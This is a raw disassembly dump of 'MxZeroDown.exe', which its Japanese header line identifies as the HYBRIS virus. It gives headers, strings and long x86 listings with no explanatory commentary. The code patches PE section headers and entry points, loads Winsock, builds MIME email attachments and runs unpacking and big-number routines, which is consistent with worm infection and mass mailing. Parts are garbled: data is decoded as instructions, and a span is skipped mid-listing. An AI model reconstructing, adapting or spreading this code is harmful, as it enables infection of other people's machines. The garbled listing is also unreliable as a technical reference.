ウイルスですよ. HYBRIS.わかってると思うけど. わかってないならスキャンしろ.マジで.
Disassembly of File: MxZeroDown.exe

T.DateStamp = 00000000: Thu Jan 01 -8:00:00 1970
Code Offset = 00000200, Code Size = 000054A8 
Data Offset = 00005800, Data Size = 0000005A 

Number of Objects = 0002 (dec), Imagebase = 00400000h 

   Object01:  .text   RVA: 00001000 Offset: 00000200 Size: 000054A8 Flags: E0000020 
   Object02:  .rdata  RVA: 00007000 Offset: 00005800 Size: 0000005A Flags: C0000040 

+++++++++++++++++++ RESOURCE INFORMATION +++++++++++++++++++

        There are no Resources in This Application.

+++++++++++++++++++ IMPORTED FUNCTIONS +++++++++++++++++++

Number of Imported Modules =    1 (decimal)

   Import Module 001: KERNEL32.dll

+++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++++

   Import Module 001: KERNEL32.dll 

Addr:00007038 hint(0111) Name: GetModuleHandleA

+++++++++++++++++++ EXPORTED FUNCTIONS +++++++++++++++++++

Number of Exported Functions =    0 (decimal)


+++++++++++++++++++ Possible Strings Inside Code Block +++++++++++++++++++ 

:00401006....NullString..OJOBLFKP
:00401010..pascalString..HYBRIS
:004014F6....NullString..u.hme
:00401793....NullString..u0hNUL
:00401A68..pascalString...rdat*$
:0040298E....NullString..MIME-Version: 1.0 
:004029A1....NullString..Content-Type: multipart/mixed; boundary="
:004029F0....NullString..Content-Type: text/plain; charset="us-ascii" 
:00402A40....NullString..Content-Type: application/octet-stream; name="
:00402A8B..pascalString..Content-Tr
:00402A96....NullString..ansfer-Encoding: base64 
:00402AAF....NullString..Content-Disposition: attachment; filename="
:004033AE....NullString..ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
:004064A8....NullString..MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM


+++++++++++++++++++ ASSEMBLY CODE LISTING +++++++++++++++++++
//********************** Start of Code in Object CODE **************
Program Entry Point = 00401000 (MxZeroDown.exe File Offset:00000200)


//******************** Program Entry Point ********
#########..DWORD..
:00401000 EB16A854                DWORD 54A816EB            ;; ...T
:00401004 00 00                                             ..
:00401006 4F 4A 4F 42 4C 46 4B 50 00                        ;;n "OJOBLFKP"
:0040100F 1A                                                .
:00401010 06 48 59 42 52 49 53                              ;;p "HYBRIS"
:00401017 00 FC 68                                          ..h
:0040101A 4C704000                DWORD 0040704C            ;; Lp@.
:0040101E FF 15                                             ..
:00401020 00704000                DWORD 00407000            ;; .p@.
:00401024 A3                                                .
:00401025 0A234000                DWORD 0040230A            ;; .#@.
:00401029 83 C4 84 8B CC 50 E8 7C 00 00 00 5E A1 35 0A 27   .....P.|...^.5.'
:00401039 DA 1C FA 37 C8 90 E7 48 B5 C9 EE DD C5 3B 14 ED   ...7...H.....;..
:00401049 38 A4 6F F8 67 D3 73 EA 51 F4 EE A2 FC 0B 89 34   8.o.g.s.Q......4
:00401059 E2 22 3E BC 42 E0 2A B9 DC 7E 6C 35 77 CC 5E 35   .">.B.*..~l5w.^5
:00401069 60 B8 5C 09 AC 50 18 AC 71 E3 4A 25 CB 1B 72 EF   `.\..P..q.J%..r.
:00401079 FB 07 4A 4F 58 70 72 B3 93 7C 3E EB 76 E1 80 63   ..JOXpr..|>.v..c
:00401089 92 EF B1 E2 7B 14 44 18 A4 14                     ....{.D...

:00401093 DB94EDBC3E215D          fist dword[ebp+8*ebp+5D213EBC]
:0040109A 00D3                    add bl, dl
:0040109C AD                      lodsd
:0040109D 7EEF                    jle 0040108E
:0040109F A7                      cmpsd
:004010A0 3866C7                  cmp byte[esi-39], ah
:004010A3 18252E3D5D60            sbb byte[605D3D2E], ah
:004010A9 7E92                    jle 0040103D
:004010AB D520                    aad 
:004010AD 2697                    xchg eax, edi
:004010AF 4E                      dec esi
:004010B0 51                      push ecx
:004010B1 6A1F                    push 0000001F
:004010B3 E8D6080000              call 0040198E
:004010B8 6A03                    push 00000003
:004010BA C744247C2083B8ED        mov dword[esp+7C], EDB88320
:004010C2 5D                      pop ebp
:004010C3 312D2B174000            xor dword[0040172B], ebp
:004010C9 312D51174000            xor dword[00401751], ebp
:004010CF 8B2D02104000            mov ebp, dword[00401002]
:004010D5 6A40                    push 00000040
:004010D7 6800300000              push 00003000
:004010DC 55                      push ebp
:004010DD 6A00                    push 00000000
:004010DF FF542448                call dword[esp+48]
:004010E3 85C0                    test eax, eax
:004010E5 0F84CA040000            je 004015B5
:004010EB 50                      push eax
:004010EC 55                      push ebp
:004010ED 50                      push eax
:004010EE FF542448                call dword[esp+48]
:004010F2 012C24                  add dword[esp+esp], ebp
:004010F5 5F                      pop edi
:004010F6 85C0                    test eax, eax
:004010F8 8DB500104000            lea esi, dword[ebp+00401000]
:004010FE 0F85B1040000            jne 004015B5
:00401104 684C4C0000              push 00004C4C
:00401109 6833322E44              push 442E3233
:0040110E 685753325F              push 5F325357
:00401113 54                      push esp
:00401114 FF542430                call dword[esp+30]
:00401118 85C0                    test eax, eax
:0040111A 58                      pop eax
:0040111B 58                      pop eax
:0040111C 58                      pop eax
:0040111D 0F8492040000            je 004015B5
:00401123 50                      push eax
:00401124 FF542428                call dword[esp+28]
:00401128 FD                      std
:00401129 87E9                    xchg ecx, ebp
:0040112B F3A4                    rep movsb
:0040112D C607EB                  mov byte[edi], -15
:00401130 81C738010000            add edi, 00000138
:00401136 FFE7                    jmp edi

:00401138 FC                                                .

:00401139 E8BF070000              call 004018FD
:0040113E C6859C050000EB          mov byte[ebp+0000059C], -15
:00401145 C685F40100003C          mov byte[ebp+000001F4], 3C
:0040114C 898D98050000            mov dword[ebp+00000598], ecx
:00401152 81EC04010000            sub esp, 00000104
:00401158 8BF4                    mov esi, esp
:0040115A 81C4C0FEFFFF            add esp, FFFFFEC0
:00401160 6804010000              push 00000104
:00401165 56                      push esi
:00401166 FF942490020000          call dword[esp+00000290]
:0040116D 85C0                    test eax, eax
:0040116F 0F8422040000            je 00401597
:00401175 8D3C06                  lea edi, dword[esi+eax]
:00401178 B85C57534F              mov eax, 4F53575C
:0040117D AB                      stosd
:0040117E 351F1C607D              xor eax, 7D601C1F
:00401183 AB                      stosd
:00401184 356D0F7F7E              xor eax, 7E7F0F6D
:00401189 AB                      stosd
:0040118A 2BC0                    sub eax, eax
:0040118C AB                      stosd
---------
:0040118D 54                      push esp
:0040118E 56                      push esi
:0040118F FF94248C020000          call dword[esp+0000028C]
:00401196 8BD8                    mov ebx, eax
:00401198 43                      inc ebx
:00401199 0F84F8030000            je 00401597
:0040119F 2BED                    sub ebp, ebp
:004011A1 50                      push eax
:004011A2 FF94249C020000          call dword[esp+0000029C]
:004011A9 396C241C                cmp dword[esp+1C], ebp
:004011AD 0F85E4030000            jne 00401597
:004011B3 6A12                    push 00000012
:004011B5 8B442424                mov eax, dword[esp+24]
:004011B9 2BD2                    sub edx, edx
:004011BB 59                      pop ecx
:004011BC F7F1                    div ecx
:004011BE 83FA10                  cmp edx, 00000010
:004011C1 0F84C5030000            je 0040158C
:004011C7 6880000000              push 00000080
:004011CC 56                      push esi
:004011CD FF94247C020000          call dword[esp+0000027C]
:004011D4 85C0                    test eax, eax
:004011D6 741C                    je 004011F4
:004011D8 55                      push ebp
:004011D9 6880000000              push 00000080
:004011DE 6A03                    push 00000003
:004011E0 55                      push ebp
:004011E1 55                      push ebp
:004011E2 68000000C0              push C0000000
:004011E7 56                      push esi
:004011E8 FF942478020000          call dword[esp+00000278]
:004011EF 8BD8                    mov ebx, eax
:004011F1 40                      inc eax
:004011F2 756E                    jne 00401262
---------
:004011F4 EB67                    jmp 0040125D
:004011F6 6804010000              push 00000104
:004011FB 6A40                    push 00000040
:004011FD FF9424B4020000          call dword[esp+000002B4]
:00401204 85C0                    test eax, eax
:00401206 7455                    je 0040125D
:00401208 E8F0060000              call 004018FD
:0040120D C685F4010000EB          mov byte[ebp+000001F4], -15
:00401214 898598050000            mov dword[ebp+00000598], eax
:0040121A C6859C0500003C          mov byte[ebp+0000059C], 3C
:00401221 33FF                    xor edi, edi
:00401223 97                      xchg eax, edi
:00401224 E894080000              call 00401ABD
:00401229 57                      push edi
:0040122A 56                      push esi
:0040122B F3A4                    rep movsb
:0040122D 83EF0B                  sub edi, 0000000B
:00401230 8D7506                  lea esi, dword[ebp+06]
:00401233 A5                      movsd
:00401234 A5                      movsd
:00401235 AB                      stosd
:00401236 5F                      pop edi
:00401237 5E                      pop esi
:00401238 6A01                    push 00000001
:0040123A 56                      push esi
:0040123B 57                      push edi
:0040123C FF9424C0020000          call dword[esp+000002C0]
:00401243 85C0                    test eax, eax
:00401245 0F8542FFFFFF            jne 0040118D
:0040124B C78424BC02000000000000  mov dword[esp+000002BC], 00000000
:00401256 C6859C050000EB          mov byte[ebp+0000059C], -15
---------
:0040125D E916030000              jmp 00401578
---------
:00401262 53                      push ebx
:00401263 8B742424                mov esi, dword[esp+24]
:00401267 81C600000100            add esi, 00010000
:0040126D 55                      push ebp
:0040126E 56                      push esi
:0040126F 55                      push ebp
:00401270 6A04                    push 00000004
:00401272 55                      push ebp
:00401273 53                      push ebx
:00401274 FF942474020000          call dword[esp+00000274]
:0040127B 85C0                    test eax, eax
:0040127D 0F84D6020000            je 00401559
:00401283 50                      push eax
:00401284 56                      push esi
:00401285 55                      push ebp
:00401286 55                      push ebp
:00401287 6A02                    push 00000002
:00401289 50                      push eax
:0040128A FF942470020000          call dword[esp+00000270]
:00401291 85C0                    test eax, eax
:00401293 0F849C020000            je 00401535
:00401299 50                      push eax
:0040129A FF74242C                push dword[esp+2C]
:0040129E 50                      push eax
:0040129F FF942494020000          call dword[esp+00000294]
:004012A6 85C0                    test eax, eax
:004012A8 8B0424                  mov eax, dword[esp+esp]
:004012AB 0F857D020000            jne 0040152E
:004012B1 60                      pushad
:004012B2 0FB718                  movzx ebx, word[eax]
:004012B5 03403C                  add eax, dword[eax+3C]
:004012B8 50                      push eax
:004012B9 68F8000000              push 000000F8
:004012BE 50                      push eax
:004012BF FF9424B8020000          call dword[esp+000002B8]
:004012C6 85C0                    test eax, eax
:004012C8 58                      pop eax
:004012C9 0F855E020000            jne 0040152D
:004012CF 3318                    xor ebx, dword[eax]
:004012D1 E827060000              call 004018FD
:004012D6 81F31D1F0000            xor ebx, 00001F1D
:004012DC 8B4D02                  mov ecx, dword[ebp+02]
:004012DF 0F8548020000            jne 0040152D
:004012E5 66F740160021            test word[eax+16], 2100
:004012EB 314008                  xor dword[eax+08], eax
:004012EE 0FB75806                movzx ebx, word[eax+06]
:004012F2 0F8435020000            je 0040152D
:004012F8 6BDB28                  imul ebx, 28
:004012FB 8D9418F8000000          lea edx, dword[eax+ebx+000000F8]
:00401302 8B7AEC                  mov edi, dword[edx-14]
:00401305 8B6AE4                  mov ebp, dword[edx-1C]
:00401308 8B5AE8                  mov ebx, dword[edx-18]
:0040130B 014AE8                  add dword[edx-18], ecx
:0040130E 014AE0                  add dword[edx-20], ecx
:00401311 C742FC400000C0          mov dword[edx-04], C0000040
---------
:00401318 8B7038                  mov esi, dword[eax+38]
:0040131B 4E                      dec esi
:0040131C 0172E0                  add dword[edx-20], esi
:0040131F F7D6                    not esi
:00401321 2172E0                  and dword[edx-20], esi
:00401324 8B72E8                  mov esi, dword[edx-18]
:00401327 3972E0                  cmp dword[edx-20], esi
:0040132A 7305                    jae 00401331
:0040132C 8972E0                  mov dword[edx-20], esi
:0040132F EBE7                    jmp 00401318
---------
:00401331 51                      push ecx
:00401332 8B4AE0                  mov ecx, dword[edx-20]
:00401335 034AE4                  add ecx, dword[edx-1C]
:00401338 894850                  mov dword[eax+50], ecx
:0040133B 59                      pop ecx
:0040133C 03FB                    add edi, ebx
:0040133E 8D541D00                lea edx, dword[ebp+ebx+00]
:00401342 8DAAD0120000            lea ebp, dword[edx+000012D0]
:00401348 037C241C                add edi, dword[esp+1C]
:0040134C 52                      push edx
:0040134D 55                      push ebp
:0040134E E8AA050000              call 004018FD
:00401353 8BF5                    mov esi, ebp
:00401355 51                      push ecx
:00401356 F3A4                    rep movsb
:00401358 5D                      pop ebp
:00401359 2BFD                    sub edi, ebp
:0040135B 8997F7120000            mov dword[edi+000012F7], edx
:00401361 2BF5                    sub esi, ebp
:00401363 5D                      pop ebp
:00401364 876828                  xchg dword[eax+28], ebp
:00401367 89BEE1030000            mov dword[esi+000003E1], edi
:0040136D 89AFE3120000            mov dword[edi+000012E3], ebp
:00401373 95                      xchg eax, ebp
:00401374 8B442450                mov eax, dword[esp+50]
:00401378 6A12                    push 00000012
:0040137A 034D3C                  add ecx, dword[ebp+3C]
:0040137D 49                      dec ecx
:0040137E 03C1                    add eax, ecx
:00401380 F7D1                    not ecx
:00401382 55                      push ebp
:00401383 E875050000              call 004018FD
:00401388 034502                  add eax, dword[ebp+02]
:0040138B 23C1                    and eax, ecx
:0040138D 2BD2                    sub edx, edx
:0040138F 5D                      pop ebp
:00401390 59                      pop ecx
:00401391 F7F1                    div ecx
:00401393 99                      cdq
:00401394 40                      inc eax
:00401395 40                      inc eax
:00401396 F7E1                    mul ecx
:00401398 48                      dec eax
:00401399 48                      dec eax
:0040139A 89442450                mov dword[esp+50], eax
:0040139E FF742424                push dword[esp+24]
:004013A2 8DB504010000            lea esi, dword[ebp+00000104]
:004013A8 0FB74D06                movzx ecx, word[ebp+06]
:004013AC 8B7D78                  mov edi, dword[ebp+78]
---------
:004013AF 8BDF                    mov ebx, edi
:004013B1 AD                      lodsd
:004013B2 50                      push eax
:004013B3 2BD8                    sub ebx, eax
:004013B5 AD                      lodsd
:004013B6 2BD8                    sub ebx, eax
:004013B8 7206                    jc 004013C0
:004013BA 58                      pop eax
:004013BB 83EEE0                  sub esi, -00000020
:004013BE E2EF                    loop 004013AF
---------
:004013C0 AD                      lodsd
:004013C1 50                      push eax
:004013C2 E82E040000              call 004017F5
:004013C7 317F04                  xor dword[edi+04], edi
:004013CA 8B7F1C                  mov edi, dword[edi+1C]
:004013CD E823040000              call 004017F5
:004013D2 5E                      pop esi
:004013D3 5E                      pop esi
:004013D4 87CD                    xchg ebp, ecx
:004013D6 E822050000              call 004018FD
:004013DB 5B                      pop ebx
:004013DC 5E                      pop esi
:004013DD 53                      push ebx
:004013DE 6A03                    push 00000003
:004013E0 BB2083B8ED              mov ebx, EDB88320
:004013E5 5D                      pop ebp
:004013E6 8D866E0B0000            lea eax, dword[esi+00000B6E]
:004013EC 8BD0                    mov edx, eax
:004013EE 8704AF                  xchg dword[edi+4*ebp], eax
:004013F1 83EDF4                  sub ebp, -0000000C
:004013F4 2BC2                    sub eax, edx
:004013F6 83E85D                  sub eax, 0000005D
:004013F9 8983C70B0000            mov dword[ebx+00000BC7], eax
:004013FF 8D86361E0000            lea eax, dword[esi+00001E36]
:00401405 8BD0                    mov edx, eax
:00401407 8704AF                  xchg dword[edi+4*ebp], eax
:0040140A 45                      inc ebp
:0040140B 2BC2                    sub eax, edx
:0040140D 2DDE000000              sub eax, 000000DE
:00401412 8983101F0000            mov dword[ebx+00001F10], eax
:00401418 8D86EF110000            lea eax, dword[esi+000011EF]
:0040141E 45                      inc ebp
:0040141F 8BD0                    mov edx, eax
:00401421 45                      inc ebp
:00401422 8704AF                  xchg dword[edi+4*ebp], eax
:00401425 2BC2                    sub eax, edx
:00401427 2D81000000              sub eax, 00000081
:0040142C 89836C120000            mov dword[ebx+0000126C], eax
:00401432 8D86E7120000            lea eax, dword[esi+000012E7]
:00401438 8B93E3120000            mov edx, dword[ebx+000012E3]
:0040143E 2983E3120000            sub dword[ebx+000012E3], eax
:00401444 85D2                    test edx, edx
:00401446 7506                    jne 0040144E
:00401448 8993E3120000            mov dword[ebx+000012E3], edx
---------
:0040144E 6800010000              push 00000100
:00401453 E873070000              call 00401BCB
:00401458 FEC4                    inc ah
:0040145A 81EB70ECFFFF            sub ebx, FFFFEC70
:00401460 898374FFFFFF            mov dword[ebx+FFFFFF74], eax
:00401466 96                      xchg eax, esi
:00401467 52                      push edx
:00401468 89936FFFFFFF            mov dword[ebx+FFFFFF6F], edx
:0040146E 5F                      pop edi
:0040146F 85FF                    test edi, edi
:00401471 750A                    jne 0040147D
:00401473 8BF2                    mov esi, edx
:00401475 89B374FFFFFF            mov dword[ebx+FFFFFF74], esi
:0040147B EB1D                    jmp 0040149A
---------
:0040147D 03B90C010000            add edi, dword[ecx+0000010C]
:00401483 2BB904010000            sub edi, dword[ecx+00000104]
:00401489 033C24                  add edi, dword[esp+esp]
:0040148C 8B07                    mov eax, dword[edi]
:0040148E 8943CC                  mov dword[ebx-34], eax
:00401491 6AFF                    push -00000001
:00401493 E833070000              call 00401BCB
:00401498 8903                    mov dword[ebx], eax
---------
:0040149A 87F1                    xchg ecx, esi
:0040149C E308                    jecxz 004014A6
---------
:0040149E 0007                    add byte[edi], al
:004014A0 AE                      scasb
:004014A1 C1C808                  ror eax, 08
:004014A4 E2F8                    loop 0040149E
---------
:004014A6 87F1                    xchg ecx, esi
:004014A8 5B                      pop ebx
:004014A9 897158                  mov dword[ecx+58], esi
:004014AC 89B424E8020000          mov dword[esp+000002E8], esi
:004014B3 8B6C244C                mov ebp, dword[esp+4C]
:004014B7 87F3                    xchg ebx, esi
:004014B9 55                      push ebp
:004014BA 87CD                    xchg ebp, ecx
:004014BC D1E9                    shr ecx, 1
---------
:004014BE 66AD                    lodsw
:004014C0 6603D0                  add dx, ax
:004014C3 6683D200                adc dx, 0000
:004014C7 E2F5                    loop 004014BE
:004014C9 58                      pop eax
:004014CA 03C2                    add eax, edx
:004014CC 894558                  mov dword[ebp+58], eax
:004014CF E829040000              call 004018FD

:004014D4 80 BD F4 01 00 00 3C 74 50 8D B4 24 6C 01 00 00   ..........(...@.t
:00401A5B 65 78 E7 AB 0E 91 C9 3C 07 E0 20 92 0B            ex.....<.. ..
:00401A68 07 2E 72 64 61 74 2A 24                           ;;p ".rdat*$"

:00401A70 51                      push ecx
:00401A71 5A                      pop edx
:00401A72 4A                      dec edx
:00401A73 4C                      dec esp
:00401A74 D24E0E                  ror byte[esi+0E], cl
:00401A77 C01501FFAAEFE0          rcl byte[EFAAFF01], -20
:00401A7E CC                      int 03
:00401A7F FF25E0107041            jmp dword[417010E0]

:00401A85 74 38 54 01 0F 30 D5 10 1B CA 4C 0C 35 20 2F 37   t8T..0....L.5 /7

:00401A95 56                      push esi
:00401A96 303B                    xor byte[ebx], bh
:00401A98 11804765744D            adc dword[eax+4D746547], eax
:00401A9E 6F                      outs port[dx], dword
:00401A9F 647577                  jne 00401B19
:00401AA2 6C                      ins byte, port[dx]
:00401AA3 1D48616EF6              sbb eax, F66E6148
:00401AA8 0C96                    or al, -6A
:00401AAA E04B                    loopne 00401AF7
:00401AAC 1C45                    sbb al, 45
:00401AAE 52                      push edx
:00401AAF 4E                      dec esi
:00401AB0 C3                      ret

:00401AB1 4C                                                L

:00401AB2 3332                    xor esi, dword[edx]
:00401AB4 2E711E                  jno 00401AD5
:00401AB7 9B                      wait
:00401AB8 07                      pop es
:00401AB9 7753                    ja 00401B0E
:00401ABB 0000                    add byte[eax], al
=========
:00401ABD 56                      push esi
:00401ABE 50                      push eax
:00401ABF 2BC9                    sub ecx, ecx
---------
:00401AC1 AC                      lodsb
:00401AC2 84C0                    test al, al
:00401AC4 7403                    je 00401AC9
:00401AC6 41                      inc ecx
:00401AC7 EBF8                    jmp 00401AC1
---------
:00401AC9 58                      pop eax
:00401ACA 5E                      pop esi
:00401ACB C3                      ret

:00401ACC 60                                                `

:00401ACD 8B742424                mov esi, dword[esp+24]
:00401AD1 8B7C2428                mov edi, dword[esp+28]
---------
:00401AD5 FC                      cld
:00401AD6 B280                    mov dl, -80
---------
:00401AD8 A4                      movsb
---------
:00401AD9 E868000000              call 00401B46
:00401ADE 73F8                    jae 00401AD8
:00401AE0 33C9                    xor ecx, ecx
:00401AE2 E85F000000              call 00401B46
:00401AE7 731A                    jae 00401B03
:00401AE9 33C0                    xor eax, eax
:00401AEB E856000000              call 00401B46

:00401AF0 73 20 41 B0 10 E8 4C 00 00 00 12 C0 73            s A...L.....s

:00401AFD F7753C                  div dword[ebp+3C]
:00401B00 AA                      stosb
:00401B01 EBD6                    jmp 00401AD9
---------
:00401B03 E84A000000              call 00401B52

:00401B08 49 E2 10 E8 40 00 00 00                           I...@...

:00401B10 EB28                    jmp 00401B3A
---------
:00401B12 AC                      lodsb
:00401B13 D1E8                    shr eax, 1
:00401B15 744B                    je 00401B62
:00401B17 13C9                    adc ecx, ecx
---------
:00401B19 EB1C                    jmp 00401B37
---------
:00401B1B 91                      xchg eax, ecx
:00401B1C 48                      dec eax
:00401B1D C1E008                  shl eax, 08
:00401B20 AC                      lodsb
:00401B21 E82A000000              call 00401B50
:00401B26 3D007D0000              cmp eax, 00007D00
:00401B2B 730A                    jae 00401B37
:00401B2D 80FC05                  cmp ah, 05
:00401B30 7306                    jae 00401B38
:00401B32 83F87F                  cmp eax, 0000007F
:00401B35 7702                    ja 00401B39
---------
:00401B37 41                      inc ecx
---------
:00401B38 41                      inc ecx
---------
:00401B39 95                      xchg eax, ebp
---------
:00401B3A 8BC5                    mov eax, ebp
:00401B3C 56                      push esi
:00401B3D 8BF7                    mov esi, edi
:00401B3F 2BF0                    sub esi, eax
:00401B41 F3A4                    rep movsb
:00401B43 5E                      pop esi
:00401B44 EB93                    jmp 00401AD9
=========
:00401B46 02D2                    add dl, dl
:00401B48 7505                    jne 00401B4F
:00401B4A 8A16                    mov dl, byte[esi]
:00401B4C 46                      inc esi
:00401B4D 12D2                    adc dl, dl
---------
:00401B4F C3                      ret

=========
:00401B50 33C9                    xor ecx, ecx
=========
:00401B52 41                      inc ecx
---------
:00401B53 E8EEFFFFFF              call 00401B46
:00401B58 13C9                    adc ecx, ecx
:00401B5A E8E7FFFFFF              call 00401B46
:00401B5F 72F2                    jc 00401B53
:00401B61 C3                      ret

:00401B62 2B                                                +

:00401B63 7C24                    jl 00401B89
:00401B65 28897C241C61            sub byte[ecx+611C247C], cl
:00401B6B C20800                  ret 0008

:00401B6E 60 E8 23 00 00 00 8B 64 24 08 64 67 8F 06 00 00   `.#....d$.dg....
:00401B7E C7 04 24 4C 27 00 00 E8 73 FD FF FF               ..$L'...s...

:00401B8A FF95CC120000            call dword[ebp+000012CC]
:00401B90 61                      popad
:00401B91 F9                      stc
:00401B92 1BC0                    sbb eax, eax
:00401B94 C20C00                  ret 000C

:00401B97 2B DB                                             +.

:00401B99 64FF33                  push dword fs:[ebx]
:00401B9C 648923                  mov dword fs:[ebx], esp
:00401B9F 8B442430                mov eax, dword[esp+30]
:00401BA3 668B5802                mov bx, word[eax+02]
:00401BA7 53                      push ebx
:00401BA8 8B4004                  mov eax, dword[eax+04]
:00401BAB 50                      push eax
:00401BAC 6A02                    push 00000002
:00401BAE E874100000              call 00402C27

:00401BB3 58 5B 72 07 A9 08 00 00 00 75 BA 64 67 8F 06 00   X[r......u.dg...
:00401BC3 00 58 61 E9 97 68 FF FF                           .Xa..h..

=========
:00401BCB 55                      push ebp
:00401BCC 51                      push ecx
:00401BCD 52                      push edx
:00401BCE B81944D200              mov eax, 00D24419
:00401BD3 B96D4EC641              mov ecx, 41C64E6D
:00401BD8 F7E1                    mul ecx
:00401BDA 0539300000              add eax, 00003039
:00401BDF 25FFFFFF07              and eax, 07FFFFFF
:00401BE4 E814FDFFFF              call 004018FD
:00401BE9 8985CF0B0000            mov dword[ebp+00000BCF], eax
:00401BEF 8B4C2410                mov ecx, dword[esp+10]
:00401BF3 2BD2                    sub edx, edx
:00401BF5 F7F1                    div ecx
:00401BF7 92                      xchg eax, edx
:00401BF8 5A                      pop edx
:00401BF9 59                      pop ecx
:00401BFA 5D                      pop ebp
:00401BFB C20400                  ret 0004

=========
:00401BFE C8080100                enter 0108, 00
:00401C02 60                      pushad
:00401C03 FC                      cld
:00401C04 8B7D10                  mov edi, dword[ebp+10]
:00401C07 8BD7                    mov edx, edi
:00401C09 33C0                    xor eax, eax
:00401C0B B920000000              mov ecx, 00000020
:00401C10 F3AB                    rep stosd
:00401C12 FF02                    inc dword[edx]
:00401C14 8B7514                  mov esi, dword[ebp+14]
:00401C17 8DBDF8FEFFFF            lea edi, dword[ebp+FFFFFEF8]
:00401C1D B920000000              mov ecx, 00000020
:00401C22 F3A5                    rep movsd
:00401C24 8B450C                  mov eax, dword[ebp+0C]
:00401C27 E8AC020000              call 00401ED8
:00401C2C 895DFC                  mov dword[ebp-04], ebx
:00401C2F C745F800000000          mov dword[ebp-08], 00000000
:00401C36 87DB                    xchg ebx, ebx
---------
:00401C38 8B450C                  mov eax, dword[ebp+0C]
:00401C3B 8B55F8                  mov edx, dword[ebp-08]
:00401C3E 0FA310                  bt dword[eax], edx
:00401C41 7308                    jae 00401C4B
:00401C43 8B5510                  mov edx, dword[ebp+10]
:00401C46 E819000000              call 00401C64
---------
:00401C4B 8D95F8FEFFFF            lea edx, dword[ebp+FFFFFEF8]
:00401C51 E80E000000              call 00401C64
:00401C56 FF45F8                  inc dword[ebp-08]
:00401C59 FF4DFC                  dec dword[ebp-04]
:00401C5C 79DA                    jns 00401C38
:00401C5E 61                      popad
:00401C5F C9                      leave
:00401C60 C21000                  ret 0010

:00401C63 90                                                .

=========
:00401C64 8DBD78FFFFFF            lea edi, dword[ebp+FFFFFF78]
:00401C6A 33C0                    xor eax, eax
:00401C6C 8907                    mov dword[edi], eax
:00401C6E 894704                  mov dword[edi+04], eax
:00401C71 894708                  mov dword[edi+08], eax
:00401C74 89470C                  mov dword[edi+0C], eax
:00401C77 894710                  mov dword[edi+10], eax
:00401C7A 894714                  mov dword[edi+14], eax
:00401C7D 894718                  mov dword[edi+18], eax
:00401C80 89471C                  mov dword[edi+1C], eax
:00401C83 894720                  mov dword[edi+20], eax
:00401C86 894724                  mov dword[edi+24], eax
:00401C89 894728                  mov dword[edi+28], eax
:00401C8C 89472C                  mov dword[edi+2C], eax
:00401C8F 894730                  mov dword[edi+30], eax
:00401C92 894734                  mov dword[edi+34], eax
:00401C95 894738                  mov dword[edi+38], eax
:00401C98 89473C                  mov dword[edi+3C], eax
:00401C9B 894740                  mov dword[edi+40], eax
:00401C9E 894744                  mov dword[edi+44], eax
:00401CA1 894748                  mov dword[edi+48], eax
:00401CA4 89474C                  mov dword[edi+4C], eax
:00401CA7 894750                  mov dword[edi+50], eax
:00401CAA 894754                  mov dword[edi+54], eax
:00401CAD 894758                  mov dword[edi+58], eax
:00401CB0 89475C                  mov dword[edi+5C], eax
:00401CB3 894760                  mov dword[edi+60], eax
:00401CB6 894764                  mov dword[edi+64], eax
:00401CB9 894768                  mov dword[edi+68], eax
:00401CBC 89476C                  mov dword[edi+6C], eax
:00401CBF 894770                  mov dword[edi+70], eax
:00401CC2 894774                  mov dword[edi+74], eax
:00401CC5 894778                  mov dword[edi+78], eax
:00401CC8 89477C                  mov dword[edi+7C], eax
:00401CCB 8D85F8FEFFFF            lea eax, dword[ebp+FFFFFEF8]
:00401CD1 E802020000              call 00401ED8
:00401CD6 87DB                    xchg ebx, ebx
---------
:00401CD8 D127                    shl dword[edi], 1
:00401CDA D15704                  rcl dword[edi+04], 1
:00401CDD D15708                  rcl dword[edi+08], 1
:00401CE0 D1570C                  rcl dword[edi+0C], 1
:00401CE3 D15710                  rcl dword[edi+10], 1
:00401CE6 D15714                  rcl dword[edi+14], 1
:00401CE9 D15718                  rcl dword[edi+18], 1
:00401CEC D1571C                  rcl dword[edi+1C], 1
:00401CEF D15720                  rcl dword[edi+20], 1
:00401CF2 D15724                  rcl dword[edi+24], 1
:00401CF5 D15728                  rcl dword[edi+28], 1
:00401CF8 D1572C                  rcl dword[edi+2C], 1
:00401CFB D15730                  rcl dword[edi+30], 1
:00401CFE D15734                  rcl dword[edi+34], 1
:00401D01 D15738                  rcl dword[edi+38], 1
:00401D04 D1573C                  rcl dword[edi+3C], 1
:00401D07 D15740                  rcl dword[edi+40], 1
:00401D0A D15744                  rcl dword[edi+44], 1
:00401D0D D15748                  rcl dword[edi+48], 1
:00401D10 D1574C                  rcl dword[edi+4C], 1
:00401D13 D15750                  rcl dword[edi+50], 1
:00401D16 D15754                  rcl dword[edi+54], 1
:00401D19 D15758                  rcl dword[edi+58], 1
:00401D1C D1575C                  rcl dword[edi+5C], 1
:00401D1F D15760                  rcl dword[edi+60], 1
:00401D22 D15764                  rcl dword[edi+64], 1
:00401D25 D15768                  rcl dword[edi+68], 1
:00401D28 D1576C                  rcl dword[edi+6C], 1
:00401D2B D15770                  rcl dword[edi+70], 1
:00401D2E D15774                  rcl dword[edi+74], 1
:00401D31 D15778                  rcl dword[edi+78], 1
:00401D34 D1577C                  rcl dword[edi+7C], 1
:00401D37 E8AC010000              call 00401EE8
:00401D3C 8D85F8FEFFFF            lea eax, dword[ebp+FFFFFEF8]
:00401D42 0FA318                  bt dword[eax], ebx
:00401D45 0F83C5000000            jae 00401E10
:00401D4B 8B02                    mov eax, dword[edx]
:00401D4D 8B4A04                  mov ecx, dword[edx+04]
:00401D50 0107                    add dword[edi], eax
:00401D52 114F04                  adc dword[edi+04], ecx
:00401D55 8B4208                  mov eax, dword[edx+08]
:00401D58 8B4A0C                  mov ecx, dword[edx+0C]
:00401D5B 114708                  adc dword[edi+08], eax
:00401D5E 114F0C                  adc dword[edi+0C], ecx
